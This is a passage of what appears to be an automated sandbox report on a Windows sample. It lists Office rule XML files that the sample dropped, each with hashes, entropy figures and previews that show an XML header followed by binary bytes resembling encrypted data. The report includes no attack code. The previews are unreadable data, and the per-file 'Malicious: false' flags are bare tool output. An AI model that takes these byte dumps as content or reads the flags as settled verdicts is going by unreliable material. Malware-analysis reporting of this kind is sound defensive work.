Preview:	<?xml...a.1Ox>..c....p....s ..q.j..vU.%J..3-.h.N...NX...........s..V^y...L....1.Hv..g..&.X>....)t....#....{.=..R.S.<..v..dBK.A(...V..mr....-...e...:@.._.;M....+..T...W....:H[s...xKCAGO@.K.K.X_hP..k_.qs...s2....0..UsuQ..x..k. .p.Z..j9..%.^.o....0(p..b?..#..1....L..i....w...:...i..}..{.%.0..8&fO..l#.=...........^J...q.....`.5.....\)X..a..1.C.0...s..i..@.D.Z.\..?..b..._.......1....Ar..(..rwEk.....'.n/.....].Y............:....\.Vh.B....:y..el..Gm3.k[.7.{....3^....y5.>?T,...x._k........"........2........?t.1.l0.E.h.....p.ue..F.o.....Xr}..P>D...H...A_!m..jc....aI..Sk.d..+....N.v..q....c.ZV...x..+..r...pmc..}W...Fv0,.~(.1.b.....c...,1...ot/p))...@jR..K.Jq.:$0v6m...........4zF..)......1...,..X...D...0{..u@...<....Q.oU..y.Z....(.5.J...$>..F.O.'O.@..GM....F....(M.;..N<nmWH{v.Q..r!;.3..{u..o..E.3y=v.$T...N.n...J.h...8..,...0.....o...x.R...e.k......:lWt............\|...JK.0..7.!..y8y.....m...1....[@...k[.n.........\|.G.......o.7S".

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.8479026185893925
Encrypted:	false
SSDEEP:	48:gYM03WsQ0ml7WLLKb8kquJmHA6WAzS88XFD:bmsQRSCb8kquJmHlIF9
MD5:	01AD5CE35A4230A8E10A944E37FBBDAB
SHA1:	A3EA039DB8E32531212726B61AEFA0803F485095
SHA-256:	8E55A6F3C37341B7BF19EE83EA9EE42857655E4BD9C26704EE2FBC2E2871998C
SHA-512:	C6EC51403937311D4673E0F679DD4C690F2BF366AE05F742D9C138FE5A2EBCC64518C9EA89CBB81A8AEF20DC0C9B07961CC76C1EEFD0E2F1D4768DD3EC9EE8AC
Malicious:	false
Preview:	<?xml..H.d...8.hw.. y........ue..0..<f..;.q8I...`n...T...d..........e..{Mag...-..........=.:....3....K.l.f.d]>..W.....e..,._-(OAnfm..h.U.o..a.}..P0.J6.M50~..C.R.....@1.3._...<..{E...U.W~e#'M...$...G .<'.8}.=8..h.vBh.........[.E...K..._8.-..Q%....&..[..~<..H..l.T.B......Q.......[.A.<......$..X5..Qy.T..8.f.k..M ..S.:$.GJ......:`....o...+W.z.9..{.!..oV<:....!.w.U4H?$..B.!.F...S..U..l.M_mrD5m....%..l.....6...M..Y3l..I...K.\..."c..v...o.+...x..E]....V...\|.1k>..].q.p..'Xa..eo0.ob.h.o..-......7.]..Zt.......J<...5........m...Y....j...Y..{.{....[a4. ..2..l..&V<.~\|.^M..BW.!.Z..#&..U..\|~F..!.....y........C.......L.........6....O..0.V.W_o.v.N.Lc...X.rI...\\|.k......O"s`~....A.&.x.Z.uZ.............O.t.I.n!.\.t..d..Y.......D..qd=..=....w.....M..#mwG.T.(E._.-.u<.'....dC.FE..^......tM#..}.hs...Dr......5.\'.}.9...2..Eg..U.5.e..=..,.I.K.........K........:.....].&...y5....:.....i...:\|.hs..=./.iN.3_x3...Z..%....}&...^.v).U-.$.mJ.....MS

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515707281539702
Encrypted:	false
SSDEEP:	6144:Gy2B4XT6grsqMhYem7cqTKlCgY1j6vQorRo5:J64j6xqOY1cqTkCX1j6vQoFo5
MD5:	314E6627BE865B7C847197990B3D276A
SHA1:	22879ACA41E188108B007AC096C478900A7D9431
SHA-256:	349DC8EA28276817F83A7021431BC69DE9ED6C964F0F02E6109A7E6C7A6E749E
SHA-512:	B7FDCE127CDBC335CB9958BEF4F5E01CF452D0391808993A433FFE3F1310E145E4A244B903EC917A894ABE23A4B336E8450B19660C95507062178430D023640A
Malicious:	false
Preview:	<Rule.Y..W.A.G.!.U5.&.8.$.......}68.o.....VRE..L..P...F.@.^..^.Y...W...?-....r!..C.....p...+.............^..W.``..!Q\../?..b!.>..O.0..w..7........X[.,#.$L........@u....[.%\|[\....h...-\|.T.@y.{..AT."Q.V ......x:.L..76@....F...s..[.3_.,.......T..Wh~.....!.....![<..........lgS0......S.I..t...j...l....i..h.f.x...R...Vr.[}...S..a..e....'.F.W.$}.......]J...B..mk.t.Fb...,......z....r..2....7..\.K.b..>.x.^.9..P.zCm.<+.8.?..B...........;.J.}..}3....C,.?x.....8.e.O.3.....,....D..\|1.(..._-\...,..g#..a$@.q..`&..I.v.W.s.R.*......;...6x../..Y.....'.y..zI...tg.S._MV.......k_......k.n..4+.C.F...GV%t9d.>D...\|.8~}..7Y....G.U.a.../....f.P. T..!.....\..^y.Ry1.Xr.R#D..l.QQ+..M4D\|..u..N..<Z.v.JW^.....R..N.L.....e@#<]aS..EV.......8?.....z.....kV..\|.....k.U3..%.T.P..h...^.e...J:...z.~{...fXI.6.)..<......@P...\.....i.:...NM....h...........z.O;zC..,E..G..^....B.8...- (zY1]......05.K..LKW..~.O..S-....\......P.e.-...F.e.S.q...K.....Mk<........x.G.R [. D../k...K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.888877470424269
Encrypted:	false
SSDEEP:	48:1bXDcjGF3c5IHFFilUVvFxkj2XaSgMNFD:1bRpGIHFFilu/k6X1N9
MD5:	C73564906030D12D750A9A81406064FE
SHA1:	48EDD5FEEEB49E1469467E9C79A3319403D85605
SHA-256:	25DDD9A0F82DBE1380F6D6D0FBE1D5329E737752E3D0855935109F987CE43925
SHA-512:	F9049D48CC17B290A2B599B8BB7471BFC8F7B6ECA1E5D640A9D41CB435B8408CC82FEB0715BBB68C7D9733AEB366663D21EB0D4B73442D59AF2B02117DF7B78F
Malicious:	false
Preview:	<?xml..J.....y...........L..0..B....-..b..{RL.W..H.x}...P._...nK}....-.U>J.:.Y].OM..fSZ.0Ah3...hh;Xd..........c.B...&09NG.X..\|..v....`_...~...u...c...}..>..O...S.!...:..l.....{.Gh..9 X...(...\.1X..i#..E(.'..8K...s.H.\v...D.Q.X.....1,"r..../.....2-.ji..%&..-.%.rM`.tP<.U.v.^....Z8$....L..K.C.....O....v\...X.....@6/......MwR..9d..6X.........VF\.siy.h..#.X...F..>\o%...G.....h.q0%^.=cz%...>.L.PiW...........%.....-B..XId.o....?..`.)..O=.n}Q.\|K...r.%6e.M.S@.t.q...ay.V.}9...\.+mU...........N..q..F`d...{.DM..>RV=..H..Ks:.8...C........&y.[........h...#......W...-:..Q..-2p.N....._.?..w.{b.Z$.E7...I..<q~..8x.X......l=kR.T$.~.{..d......w3y..)....&o2b..?^.@..a.Y".s.._..V.#.E$)...$....?V..w...E.....".X..=%49..6o....D@.K...sMl.f. .A.0..v.."...4..GZ....m..&..#..4..Z..I..k....C.+cU.$LQ.H.-FG.`r.3S9J...o6......-.ls.....i.M...8'.... t..7.?n.J..W..S.......:....7P.!...,u.7B.9.......#..q....V._p.....l...n%&8.1....._.%O.U.....#.Gu........u.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10450v3.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.857827335492453
Encrypted:	false
SSDEEP:	24:2URYyz287FUDteV8ilsF87YFQyZYFkCcnHvmk+C3O0455Shqb0boFRWBBAIxXovn:2URYyz2ZtoyrFQSikCcnep04bZYboGBU
MD5:	0EEA02BACD78DC79E57DB62AFA4FB96B
SHA1:	003479A995CE0ECEFFD398ACDBAAFD28B6D0CB1F
SHA-256:	518A84450A4076AB170EE4C073CFF9BDDECBAEFCA42D50BC7DBCDAF045804445
SHA-512:	53287D3A3403D38C6279119A721020F2ABD097AA9CC6CA5F411ECB258B08501098DB5946E4E27A6105FD1BDD219DF1C17396A3F2FCE6E8A8191D74D0D9425A0C
Malicious:	false
Preview:	<?xml:.v......K\...v'\|...q.g..a.....4.ib.m P..o.Jn...8>PO.,.U.........t...lr.k{i...N..`...n.S..G.gkCL...K\\|..9.zD.Z(.G..3QX.SltJ.X.9...O.3J....%/.0..=.{T.,......>.._L....L..xt...2...].NK..)..">..B...1..e..N>.F...2....\|]%.U8..w...,+<.N%._X5..Rm........pl......."..:..GoTW...4.u./..#..T...0...Pva.zU....n.B...y?..c.V/..[A....2{.....#._59..=V..2.rG..u..0...\#ph....''_$.P....f.#C....'.51g...I.......e.V..8g."...:.XU.l...s.......p..EI...Y.`F.....tz..Sy......\|y.P.Fg..W..\|@....h..?.wRA.S8tX...mr}r.])$)...p....T...g...{b.>.G.w.4.P4.G..a.Sj.+Y........f1.."s.3.-..2hX~.x.x.O.I;E..Q..P.W+.L..w&..i.ei\|.=@'.8..qO..G.;.....'s.....NOOv.g.{.f....tt.._..(.ii,..b..n.........;...8.....]....<.X..>...2....._8l$=u.......p.a....qG....~oY3.,...X....Ol.u.^.1.Yp.<.........k.....x(3...!...d?.oI..x.t...M.@.......Q.%.@..&.n..p7H....d'...Fe...Q.gcx^.k.Y.k.O.. .:d...d.."..l.s.......q....w.DA....Yw..r.qr8..D...7#= ..7}.j.v....!.\.X..KqU...?.,\./.....aqP.&..K.r..3D..V...... ^...M

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10625v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3024
Entropy (8bit):	7.942157581895358
Encrypted:	false
SSDEEP:	48:dS7+82tRO98gzSu612srAM5FWk2WmaKxVQmdK3ehz9wu1+gUvU1OnqQknbKCFD:gC82XO9mLSk2baKxVFdRzmu1+VsgnqNx
MD5:	7097E0F479D4D7D31ED522EF27C71758
SHA1:	FDE229E02F45537D2344B0CEBFD973EFADA1DEDF
SHA-256:	E895D7D3A8B2E7D62EA84F35C5BA4F1E8A45E8B38FE1B5AE55D2D2EF7500FBF1
SHA-512:	FAABAA5BB448B0FF56A0E5A1A5AD9213C5132619D71995CDAC038D5CE082C4E1A025236EA9EA6C054F496F70A8B2DCEA65DCCB86CBA51979102FE582FBCC132A
Malicious:	false
Preview:	<?xml.!`R.i.u.....3...I[..]8D`.D...Z...p=}.....(..2.x.I..Quyi7...f.}U+9i2:f.>....Y..a.o[.q...Ea..4.C`DwCozru.[r.0Q.b.L'z...l...E`.!5.....#...G...~.L.M..%.?..xv...K).P....S~..ns.......v..w...'....J.;....K.....q..+iN...[.....M5Y!.z<..R..~..U:....lU.Su.~R%.Vx.`o..O..%=.k(.(..J...$......<.Y..j...13!?"4... ...o..].JP.B.1.,.....1Q..(.3Q...@....K.t.....l.m..k%...O....hh...)..}...d~...!x^....w.&..&........j{.....d....?%.....M....O.k.].;..~....GtzBQ8..<l.........;.Mh...8..m..........V....%4..}..S..H.m~. ..."4.1.........'.......2..F.0bdV.jc.@....).K"...s......)R.tH.f..u'.I.]...9h.R...."S...=].H........S(.S../I-..`.K....w..wp....Q;A@....G.3.3\|.~k.T.."....`..w)3%..B....u..9:.\..-.'x..'.....[....8.....Kem.8.g..bwZ.S.8o.+.h.e'....z-.R..i....zx"(.}.....1[.$..;$...I>\|.w.8..7...9.f.:.....G..a....X.H.\UJ.q)....J.5.0.%..R.B..cJ.gv.v...'%6R.....TW...z..0.M^.c..Q.>.b.....#..i.\...q....)^...0Q...._...m4\.9io# ..........&.yh..y.e.V3....C4..U...za...B.$yX....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10626v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1675
Entropy (8bit):	7.877025739077257
Encrypted:	false
SSDEEP:	48:Ci9gLsCS2fSDtObVojtMxPfngOTXJgQAjDLNbCFD:X9g1hGjtA7XJghjDLQ9
MD5:	2DBB0630E241FFD797C72AA2143BD722
SHA1:	39497E1911C20A07A046C12D62760D1ECA649292
SHA-256:	63FCF0656BC606175E82C799581D8EF7223A67DA6080794849A94BBA66DAED9A
SHA-512:	7A6D52351BDBC55381CDA365BCAAC97637C4DDB7DA167818D60DBE7DF2F5A8B5F5BC2FA66434B56B98E9F7AF7D0AF6791396EA7D5F5FB372437D6355C979DC76
Malicious:	false
Preview:	<?xml.W.(.;G...<.Vf.>`U....6t....(.......#.....S.....D}t.}O........1)."\E..~fe.E...k`.x#..L.)...^oq.F.).t...C..4jz+1..^U...&F.C...IwDE>..@...f5.kr...v....E...-...l.#.k>d.<.......f.4\|.`.<...H.......F.8^y....W......'..-.....I...7_....W.......&.%R0~A....uDt.V.lc..KE..D....gG.Q..-A.X@..O......n......S........<......[..C"....Q...T.@6.7..t..lyrD..r..i..L.T.3E>....../jMi...z...;:.'PY6.).<.V].y..1........{3.....f....M_..[j.V....v.....#..-xX.T.&@....6....y.}...Vf..."w$-..a...Q.GT......PV.Ub#.R&..>...,.,Xa....@......Z.w........[.+0....H.I\..._H....%.A./_.P....w5..\|+.4.'?J...oc9..hT..!............6...o.g......"...9...b.....,..D.}y.>X.~5..k..?F^</.!...wpz._.B....t......\x/...FC....5._.vU.5..(....QJ.{...F.--Y#J.h2eO]_...1......}...q.......y..i.J...../..Q....L..3 . .5...Y.!....Qe.kd..cl..E...%,..Jd...6....z..N&.y9.3....E%Q4S5...y..G.3w3).\/:h.W../.%8.j..,......E..-K.]x.n...J.p_.t.r..z...U..{...<~..7....\a.x....@..5..Fx..s.....B6.'..}9.w...6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.90823471632663
Encrypted:	false
SSDEEP:	48:YCF+HktWTWTnDsICZmWuGHeLLtxdGWQyf0G0euoxLIIFD:uHktWWnnC4Wu6e9xdGnyfUeuoxLp9
MD5:	5888026C5754895F24AD72691975732F
SHA1:	AF7FC1EE4DFE66F17514072EEB448D3FC5969901
SHA-256:	2AC02F7140B76056590325B6AE8AF6F4920DB08B5478A3DE8B0EEA102DC8FE0D
SHA-512:	BE76ABCC7250B88DFF8452A4C2D247098D19AEF7C80FBC18113D6CAB618FA3073E8AB8966F55EAB66E302382E916546011A762DAFC413ABFD4487111B56ADCD7
Malicious:	false
Preview:	<?xml...J.p.....Z.-.xLk.\|GJ...H.2....m.7.`..wnH\|SB...X.yg.;...m.@.5.DqQ.. :...T....Z-....gt.eK....]X.5\|.u.m.e8..T....H.e..n.....z$-t.cZ....+W{#{>.a.?.b...R.e2r;d..!t..f..g....n4....~.....KH..M.a..p.S5.&.....N.f.iJiE!?........O.S<.C2.....9..jh.#..C...=]T.d.9..iIH&.l...%.V..7Q.r....vTtC`..-.&.k.h..c.n...X%EYn{.yqP.{l....I....e..#oN...../.0.MF..;.a.M..4Q.9'../rh(.n_Cq.#.G..~.......k.n...Z.:.q3h..Q....\|..>...7..BPAtn-.m.b..1=dE.K....~[...<".)...n.E..]...0..xdJ...5.../...F.:U:...}[.~.ww.@........./...'..r(..../...C>g...0P.0.v/<e.Z..'.1.V.....=?s..& .\|.U...'.tcx...B.&F{^k^._..0....0.K@.[MV.1...sT.....J...37.........b).!..n.Ik5G..YXV.T`Q.f.Q.....I....%....L.Ti.'...W.D..S....k..k\.h......P.?e-!%..3.<.lJ...VA:~v..a.m.rd....c/.i.<.9..dp].g.z+k....2S.........W..-o..'.J.?..=l.R...v. _.]..`....0.EU.>xG..!./..y..,ik..L.8...#.....J.#.vX.@.T....Xo4*&..$.5.I.....}S....P.=.\~..#.../....N/.....t.....H. ....d.....(..kj....g;.1..7.tV.).p...k.W6....<\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.703210996371398
Encrypted:	false
SSDEEP:	12:O0swKbfqhNAtDDEtE4JNY9gAslEYexnhSN3hUpxa4ODB3Te0roQDE2Eb1HnU2jVX:Ou3hCDIXZlThlablNb1HUUVbD
MD5:	EE747527D6ED0B0BEE790CBC280788A2
SHA1:	1DF5B7294949911B466C9CAB0E41571A4A5092C1
SHA-256:	898F59EA6F1071775689F9D55298F78BF3264819C32757E3D0B9EC16714898E9
SHA-512:	65F914B01738B12404DBF6F95517743C143A89DB2ABEA3C1DC3371290506CF7481EA6485B5EDE14BB165212584C434F03B0FB160C4B99AFB2F187C1C827F0A5A
Malicious:	false
Preview:	<?xml;..s.....S(..y..G.0......Vl..M.J...1../Ha...qT.M.M{S...~...5x..-e..y.X.Q..[[.b....(.~..nz.iO..O2mF.r...EB..@r....@m....^....R..XH.A4.....=.S`.....).K.ra6..H..N....f...@Jh.{../..%f.x.TL/#G4..}..4..b.UC".......<;2$...-. @..j.'..o!.R.J.aq.......>.s....%z4....P.3G..........[Z...y.3Q.....1...N...\|X...)Z..Xl..".i.F.MC[....C.p$.8.Z...r...W....0....<l..z.z=.....#T.1\\|.P.....z.2W".VB?..3F...b...4.s...).^...x.....T.)......P..GyYR..Mq..Y....o...p.e2\..i.P...'........O.dFK.)wzu8/...cU...V...z.......A<..bL...>.....XW..UU.T...n....^...Ob...a..o.y.S.a.z.eAC...N...D.Q?.sD..;1.gq..X..H.!..[W..^.....`...W..7.N....}..stKsC...w4......w.v....Z.%5m..>.S..w....v7." ^..fd..n.Yd..'.S.t.dM[m.%O.>...9.~'.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.897881815513796
Encrypted:	false
SSDEEP:	48:9BMOE580DBVuvfoiwFstQhQaPJgTqRuUFD:QuABVuvmitQhJCTNU9
MD5:	AA3E8ED9074BE4319A7901EB2F447D46
SHA1:	1E6AFDA7FDC67932842D82508D739FEF47E53F07
SHA-256:	72EB19C48583C2D14232423985B36A50FAFBCC902761DEC6E0D8F52A4BB29B2A
SHA-512:	0C88C6CD73E6E681DD22D7C83B07BE123B63132CF45B063A874EA0AEEEE3612CB1CE1174A3202B72746A51A6075BED7371837A0D629F050E85F604F333319CC8
Malicious:	false
Preview:	<?xml....1{?tq.q9.y.....U.R.w...og.+.$.......:....[...8...+...Pv...M....j:....xX..N..%......._.F...S..M.Y.@.Qa...^.u...H2....dH...b..y.L.n.C!..Jb.[.&'-o...Xv.........;6.jylM....o.>...y,.8kf..N.....[.&.....c1.+..>..-J\|.O.\|.....Oe.s.....H...W.e.`.K..C!...JT.G..w.p..W.#b<..pEQ.....($."vD.?.P@Kt]G.. f.>......kN.....s.X._...CJ..sR.-j..R..z.p.'.}.dfZ.7Gr..?p.#F^+.:Z..........,..om;..Z........V..7J...6..$s.bvb.Hf.U.......V..?2........hk ..4.8C..!.k.......p.D.&88N.A$.D..6`.{X....g..\|.9.s..kl... . ...Oi..'VU.Ce$..1...6e.e.n...;..PJ...>.sV....L..6..~..B....P.^..a{....\|Vll~$8.i.!guU.M.t..E^.^A.".12...s..H...`.}.B......s?........3U..u.S3.G.r.5..{f....C......UO=....q.4....N....B...A..F.>..r.o.0?.$}#.T.6<.#c.]_..,_.s.A.QJ..NG.c..$........pdZ.m.o....+Q7M.bv....?9........k..~J..(.AL....T......n.u.r.:........u..'..a`?...e!.....A`,6..D.o......s...S..Z[.wQ.V..../....... s.Y.g..v....\|.}...<.f.\.....i$'.......)....v......AA.....8...%....l.d.'..Q.S....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.716494456750899
Encrypted:	false
SSDEEP:	12:Q7htGsk1otL8KVTN3W7mkrlzVbKUG1hfTjVcKBI/qngcpXvxjVcii9a:Q7hQihVTN3ZQKB11VJBVDXhVbD
MD5:	61B93EF8A4285A4D7B3DD8A5BA0DC785
SHA1:	91ED438F7FBDA18A1DDEADE47FAE153AD9BD2ADE
SHA-256:	C58D11D57DBD4DDDAC0212A7365229140D031D3F983E85CC9E4F3203E26EDE2C
SHA-512:	FD49CAB3D5ED260D64A04785CD15459A7F738C7BB548704C4AA5B4CDE339DB67B8245A7754F2A1A9367F8607B75C74C8BE223075FEF7C78780C6397BA13B2AEA
Malicious:	false
Preview:	<?xml..4..z`7..r.B....@ 6...I...$.q.u..6..I.....4...<V8..PD.eJ>.....FAQ.%6."..t.....h@.......~\|F{!J.@..Z.......R.d..ovE.r.+.,._@.....sM...X.e.s..:_................p.......G...E..-.M..g....>P."..4...{"@`..fh.k5j.D..p.O..)...t..Q....\.)..N.........v.......(-'......2.k..Ee.-.]..P......P.j...K.[...Y.<....@k...].$+..s...Q...-.0T......t..H.6......Pz...t..A...RY.../_.....Y"...#H.....(...<....m..m)..B.1..!.0$UZ..m..@..$8U...:..m..b..O..U.YD@P..A......BU....h]..X.2..y.!.D0.^l=.y..5.>..>.x...6...E.I..*.... ..K9\c...P:...c.......W..w..X..jcC.6^.$%R.....,.Z..{..]..\|0..........Nx.{\...3.?..'...<..._G..A..0...E0..nu.:\|.....3.....d.Qeu..G...T.0E./T$.@.=.~=..........Q....1a.D(v....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.939868625252426
Encrypted:	false
SSDEEP:	48:CzKoBYaBVsT9pTislIDUIBHszVLTaLZTQvBn5pNt9CLYwR41cs0AQKm/vNEjGVq2:CzKKYaBGhptpm0TaLZT4nTdCLYp1csiN
MD5:	1E8308E22F6F5CCA8F38AC0D45596D3C
SHA1:	3FF344D48518B35BFAABC5F56052BC7C54541F7D
SHA-256:	A5F834D464556D1255120F1C7FBA81A386FAE83E32BB645006B077DE22AE8A2B
SHA-512:	F68E3EB07DC16F089F99EB846FB04A3D6DD1D896E0D6BDB02A518D5E4550BB36E2F767D2CBD5ADC32DB391BF84E9180BC6D3CFE1302835F213DF82897D9787E1
Malicious:	false
Preview:	<?xml^......$.".N.......1.0(s.]......R.d.'..Y.AWsM.H..\|.=d.FpM}.8....v..S...q.pduB.!...`..-..L.zykm.Q..{..92..Pp...a..k..j..Y7E.F...p(S...$<.3 8A..Gy.M..=..[/5z&<S....R./.3..sZv./e.].2....0..o>G.h...".TI.K..da&.cWV.A.... ...A._..).YL!4j...8n.c...OX.].....xV.._.".Y+.'dR/..1......q..V.V..+.<.t.."D...J.}.........X.o...:A...}....L..Q.y....H..T.)....L^...!.f.....z.R.....V...b9=.I...r..........g..z.`x;...1.e.w.......&.^V...H..B........q...(...>.\|\|...v.#..;..-7...H....:...l..;.....e.`[...L..B......5.....r.j.z..0C[0.....Svo.Y.]....![...9F..(GB\D4.I.Y.....^'..R.....+...1...p..).R...Q.r....<.......N.A.S..G....X'..2...0...~-...M..v.z..A.o.`..5..iP..3.u.....c).B.....[.I...3.?K....J...EN..h5.....`......t..&.v.>.....%...z..,...4...#..z.....w.3.x....lWbf..(.....F.k..A.........&R........&.......6...^...H..~R..;zq8.?.z....}.w..h.z..L..@..,.q.X.B+.=..2...h..zw.R.!.fV.6.R.o.~@.R....L2...#L..G..pxXt+..bc.0I..$.PqP........r..:...2].5....A..0..5.h3..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.933465395083263
Encrypted:	false
SSDEEP:	48:o6nOmgx+2WV0a7I+lsI1gBPY3JTbodeG24B43XTiyjqC0E98MtfBT+eLlFSGTFD:o6nOmz3V0acmgId99YWXTiyezcSw/9
MD5:	7F10374067C21A39870A3C84A59265E0
SHA1:	301C8CCD983DB999C676AF26AFBE2E02447B871B
SHA-256:	FA4A60AA0EBFC753B3E87F599A1D5A6CD6303FA75C2E58944CDA43388B5E95CF
SHA-512:	FEDE26E09877C2D52ED78181971F11AD3C829D397042A80221CF9F93DBE11C69974E11017C513E7CE91A37166116DAEF495AE4433071841081476470857FD428
Malicious:	false
Preview:	<?xml..S...Y..U.0^..\C.Q.%U....`.P.....)#.gn...^/.:..s.A.....7....Qb@...y.3.-w..[.&;.C....#ik$...`Ps"Hr.'..+.4}...,.@..$.-....Sa..Y.......[.+.Zvg..f...X..T...l.q....F.](s..=n./...W.K.Airb...$...Im1.N.~..n......$\|...\J..).e.q.?...6.PIo..o.}..vni.`..R.<.Z..W...'......Ys.j/.G....9..u.[`s....w.q}.PK\|..R`T.U.%-..Lw.......1.=...h...@N.m.............}....:..YP....}.....q...g3.K......is....H.......D`8M...."-l....EP,....7F{...;..aZ.m......L....N..7..@...~.?.!....... .>.2..S..6.G....i..{.#.(.#.i...gN.V..!-...l.Q..=&...t...Q.g.1......u.A....`~.._.......?_I....8k.%..\|T.._...'...8.@..0.M.3..]\c.KvG..k" .0...].dN...4..,.6..YKT8......s.... :_.k.#-v.X$?..H6.X..\1.a.1....y.8..5.P.K.j.."6.JY.~..\.,l.Y..!/..3....X4Zh.i.,5..P....K..............H......+1.=3H0w..%......h;{...z...@.U...(...o._{...\|.&.k.H....z<......Xu.\a.8..././Y.~....;<O.z.g..r.u.W.:..{.qh.pO..j.....2u..$...K...)...AV...k.E,.6..;...Ru..5.5F..........4x,P'].Q6M+2a6...:W.;,Rg+=.(.x...{..1.*9a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.959037910541843
Encrypted:	false
SSDEEP:	96:swlg4+0I0zAd5NEE71gL/Z4WqfI+BmVeBF9qzLZO+gNhYZr7Jd9:swlg4+d0AmE713qMBF9qzFO+BPJz
MD5:	562F212EC899B9528235E64F58528ABC
SHA1:	061CD97EAB322826EE0459D19DCBBCE654B3A78A
SHA-256:	585A865D0AEBA8B260CFF20F82BB4635A52FBAE075FA3EEA5FE6CF0CFF137FC8
SHA-512:	6E1239B98E160C147AA97C4C5B897F6A39D829929DB664A5393E8E9064380B39556AFC623E28B35AD8A5C730BC1C572D339340442A9FFA2E92995C56C5A949E6
Malicious:	false
Preview:	<?xml....r}.......aW.F.I`.<.....t..1.....d...n.W.E@P..w.(-...L^.E..q....-t...t~~.<j.....F...r.R..f.fW.v\..DX?3.h..d.q.nX.O~.V.K..f,.F..........@AN,5Y~{.Za.]o^.0.u..;.2..[.0...2.........>.Zb"...x.)/....E.@....y.../[.=,...t.R8=.....i...a(.A<.1^......U.. .m.@..V.Et=....{y..A..eE.e.l........."...W.%.-....e.f..\o....'...M/ .D. .... ..i.fkn=..q......}..O....<.N.3+.7......{.h.........7..f../.2.n...s..t1.J_O.r}.T.......&.J. G.t...^.......P.=....Rm1(5W.R..,...%Wm..@.x.:.J.H...A5j.:..}......h........=S8>+.%.!.....v.n..V..,...D..3I...<.(o.U}0.h-...X......9;`..0.ZZ_T.@..wl.n.......p.......>...A+...]H..i. ..jJ..+.@...9.%b..QH.'....f.....}/5g.)X..;....,?Q...?".!..FLk.\.VW...{...97.N.?.U.+g......1:#.w...&..........y.C.l..o.4..W...:..:.j...T`... #....[6.+..R.\|...R..;Q.?{.Fmu..\...........%F......R...G.S...#..&.F....Ki...[a..N{..)m.....F._kBwf....."g...pA....r....P....n.......R..//......v.\....7qt....?(.<.....':...V...:.......5[O.fZ.=Pq.q.PwQ...7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.8513864383848455
Encrypted:	false
SSDEEP:	24:u+wMNIfXMp7xjW+lU9kNRvhBGKx7qjtzXbtuQvNpC1VbD:uJ+IfMHjpqeRCq2FLtzvUFD
MD5:	CD1E8E7C62EF210F31F71075E5EC7CB2
SHA1:	58E9E44B70E69F300AED99DB0BBF4D60B2903240
SHA-256:	F32CE076BBF5D2E2A24B6198147489FF12498317BC57859180424B3314B45A46
SHA-512:	AC2AD3D060E9A0757FDF171B36DAFE1BFE99BDAC83C1DCFA4D6672A8E0ABF0E73B65D28433CDCC193C7373022D060EE7960EFB7B9A35E1BF8EFE4D658CF55F24
Malicious:	false
